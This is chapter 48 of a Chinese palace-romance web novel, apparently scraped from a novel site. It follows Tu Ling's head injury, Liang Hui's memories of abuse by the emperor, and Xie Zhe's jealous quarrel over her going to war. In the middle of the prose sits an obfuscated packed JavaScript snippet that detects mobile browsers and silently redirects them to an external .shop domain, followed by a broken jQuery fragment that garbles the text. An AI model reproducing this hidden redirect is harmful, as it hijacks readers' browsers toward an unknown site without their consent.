文趣网 > 其他小说 > 卿心弄我 > 48. 第48章
    涂灵伸手去摸脑后的大包,却被梁洄伸手拦住。

    “别乱动,我来看看。”

    他轻轻拨开她的头发,里面藏着的包,那么老大,触目惊心。这伤着头可不是开玩笑的。

    “涂灵,这是几?”梁洄伸出两根手指头。

    “一!”她的声音脆生。

    “什么!”梁洄吃惊。

    涂灵哈哈大笑,拉下他的手。“是二,我没事,没傻。”

    梁洄心有余悸,二人继续走着。

    “二加二是几?”他又试她。

    “一!”

    梁洄陡然停下脚步,涂灵还是笑,恬着小脸,重新说了一遍。“四”

    “你怎么那么欠揍啊!”他咬着后槽牙。

    “我师父也经常这样说。”

    他看她一眼。“你师父揍你吗?”

    “不常揍,更多是骂我。”她想起谢鹧跟她说的话,昭临不喜欢梁洄,经常整他。

    “昭临揍你吗?”她问。

    梁洄一怔,笑道:“大逆不道,怎么能直呼君王的名字?”

    涂灵不以为然。

    许是二人太久没说话了,一聊起来便停不下,梁洄此刻有兴致,愿意跟她聊聊自己小时候的事。

    “他这几年不揍我了。小时候没少挨他揍。最狠的那次,是我母亲刚走,还未过头七,正逢皇后诞辰,宫中摆宴,因为我在宴席上没笑,他骂我不敬皇后,将我从殿内一直踹到了殿外,直到我滚下白玉阶,摔的满头的血,他才停手。”

    涂灵呆呆地望着他,似是听傻了。

    他还有心情与她玩笑,他将手和胳膊捂在头上。“那时候我就这样,拼命护着自己的头。”

    说完,他的手没放下,透过缝隙看她,因为刚哭过,她的眼眶还是红红的。

    涂灵偏开脸,吸了吸鼻子。“昭临不是人。”

    他的手垂下。“天底下没人敢说这样的话。”

    “那我便说了,他不配当爹。”

    梁洄只是笑。

    涂灵问他又笑什么。

    他道:“你这话说得本王心里舒坦。”

    二人走了一段路,各自上马,涂灵脑袋上磕的这个大包,得尽快找军医来瞧瞧。

    韶关府——梁洄卧房内。

    夏溢也是第一次见自家殿下的卧房,能来这么多人。

    本想着,韶关府有不少空房,随便一间收拾一下就能让涂灵住,可梁洄偏不同意,非要涂灵住到他这里来。

    涂灵坐在圆桌前,一圈围满了人,林阿逐,金谷谷,行澜,谢鹧等人都在。

    给她看伤的是一个头发花白的老者,身边还跟着他的亲传大弟子。

    老军医先是看了看涂灵脑袋上的那个大包,又把了脉,沉吟片刻,猛地睁开浑浊的双眼。“不好!”

    这声不好简直要给周围几个人吓死,齐刷刷地往前一步,一同问:如何不好?

    梁洄与夏溢站在门边,听见动静,也一同往里面瞧去。那几个人将涂灵挡得严严实实,只能瞧见她一截纤长有力的手腕还搁在脉枕上。

    老军医抬手在涂灵脑袋上比画着。“伤的位置不好,淤血在脑中不易化开,如今瞧着是没什么大碍,就怕日后······”

    老军医说一半,不说了,沉吟着捋起胡须。谢鹧这纨绔脾气,哪里容得了他在这摆谱?

    开口就骂:“你个死老头,倒是赶紧说啊!”

    “我家尊师随涂大都督从军多年,在军中德高望重,你怎能如此无理?”老军医的那个大弟子说话了,一双凌厉美眸,冷冷盯着谢鹧。

    谢鹧因为涂灵失踪,今晚本就一肚子火,正愁没地方发,大弟子此时撞上来,他自然没什么好话,开口刚要骂,却被涂灵拦了。

    “你到底要不要人家给我看伤?”

    涂灵不耐烦地看着他。

    “行,我什么都不说了。”谢鹧也烦,他主要是心焦,他一个常年制药的,自然是很懂医学药理的,他看出来了,涂灵脑袋上那个伤不太简单,心中担忧,怕她日后真有个什么万一。

    老军医很沉稳,并没有计较谢鹧的无礼,他拿出一张纸来,边写药方边说着:“先吃两副药看看,这三天注意观察病人的情况,若有短暂失忆或者双目发黑的情况,要立刻来找我。”

    林阿逐问:“这什么意思?小珑儿以后会失忆或者失明?”

    老军医道:“有这种可能,所以这几天才让你们时刻观察着病人的情况。”

    众人脸上都是担忧。

    谢鹧从里屋出来,走到屏风外,看了一眼梁洄,冷声道:“我有话要跟你说。”

    梁洄敛眸,跟着他走到外面庭院。

    谢鹧猛地转过身来。“你手下人都死绝了?相地画图的差事就非她不可吗?”

    他现在特别后悔,当初干嘛要跟涂灵说那些建功立业的胡话?

    夏溢与曹淳德都在门边远远看着,曹淳德看了夏溢一眼,夏溢轻轻摇头。

    “咱俩从小相识,我谢鹧也真心拿你当兄弟,兄弟知道你第一次掌军,你有难处。所以你算计我,打我军仗立威,这些我都能理解。”

    “只有关于涂灵的事,我半步都不想退。我知道你接下来要起兵嘉泠,你在军事上的决议,我可以无条件支持,微州府的兵马你随意调遣,兵马不够,我立刻写信给我家老太太调兵来。”

    “我唯一的要求就是,不许涂灵上战场。”

    梁洄目光平静地看着谢鹧。“你觉得她会同意吗?”

    “她是你的部下,你下令,她就得听。你们要为国捐躯,你们捐去,她得跟我回泽京过安生日子。她这么好的姑娘,就该过好日子。”

    梁洄挑眉,诘问:“跟你在一块,就叫好日子吗?”

    “总归比跟你在一块强,梁观玉你摸着良心说,你的婚姻能自己做主吗?你能给她什么?你是能违抗陛下,还是能违抗太子呢?”

    谢鹧的眼中带着冷漠的讥诮,又像是叹,又像是可怜他,末了说了一句:“我比你自由,我能给她的,你都给不了。”

    “谢鹧,你在那废话什么?”

    涂灵不知何时,站在了窗边,小脸阴沉沉的。

    她那耳朵什么听不着?别说开着窗了,就算是关着窗,她也能将外面发生的事,听得清清楚楚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707720|202023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    按照林阿逐的话来说,耗子在窝里生崽,她都能听出来生了几只。

    涂灵连门都不走,手在窗台一撑,直接灵巧地跃了出来。

    她走到谢鹧跟前,将梁洄挡在身后,一本正经地。“放肆!你为什么要在殿下面前胡说八道?”

    且不论交情,她现在必须站在梁洄这边,不然她真的怕,梁洄一个不顺心,真不让她上战场了。

    “我都是为你好。”谢鹧道。

    涂灵一摆手。“我少跟我说这些有的没的,你算我什么人?”

    周围人都在看着他们,这番话一点面子都没给谢鹧留,他脸色涨红。“涂灵,你长没长心?当初阎王愁······”

    再次提起阎王愁,涂灵打断他。“索性药已经吃了,我也没办法抠出来还给你,不然你现在捅我两刀,咱俩那些情谊,就此了了。”

    梁洄早已领教过涂灵说话有多气人,对于她会说这些话,并不意外。

    谢鹧今日是第一遭听,险些有些撑不住了。

    她在说什么浑话?他捅她两刀?他怎么可能舍得伤她?还有什么情谊就此了了,真要了了,那不是在剜他的心吗?

    梁洄没说话,安静地站在那,在面对涂灵时,他与谢鹧是有些同病相怜的。

    屋里那几个看热闹的正凑在一起。

    林阿逐摇了摇头。“我就说小珑儿是个祸害,如今一看果然是个祸害。”

    说罢,她伸手捅了捅曹淳德。“哎!淳德将军,劳驾打听一句,你们泽京是不是漂亮姑娘少啊?怎么这些人,一见到我家小珑儿就发春。”

    曹淳德被她问得满脸羞红,他慌忙地摇头,闪身走到了别处去。

    林阿逐的目光看向夏溢。

    夏溢温和含笑。“正所谓,窈窕淑女,君子好逑,这实属寻常事。”

    涂灵的话都说到这个份上去了,谢鹧也没法再往下接。他谢纨绔要想让一个人不痛快,有的是难听话能说。但那些话要真跟涂灵说了,俩人的关系也就该掰了,他就算死,也不想跟她掰了。

    他最后看了涂灵一眼,什么都没说,转身走了。

    涂灵当晚留在了韶关府,林阿逐,金谷谷,行澜几人不放心,也留了下来,夏溢给她们各自安排了房间。

    ···

    谢小茂掀开帐帘刚进军帐,就看见他家公子,趴在床上哭,周围一圈花花草草,都跟着蔫头耷脑的。

    “公子,你这是怎么了?”谢小茂忙放下手里的东西,走上前。

    听见动静,谢鹧抬起头,好好一张俊美桃花面,此时挂满泪痕,他踢掉鞋子,侧躺上床,闷声道:“没什么。”

    这不怪了吗?叫自己爹打的半个月下不来床,他不哭。

    挨了那么多军仗,他也不哭。

    听自家老太君说,谢鹧从小就很少哭,在襁褓时,哇哇大叫,也不肯掉一滴泪的。

    今日哭得这般伤心,实属罕见。

    谢小茂道:“公子,你若是有什么伤心事,就与我说说嘛!有事憋在心里不好。”

    谢鹧纹丝未动。

    谢小茂叹气。“是因为涂都尉?”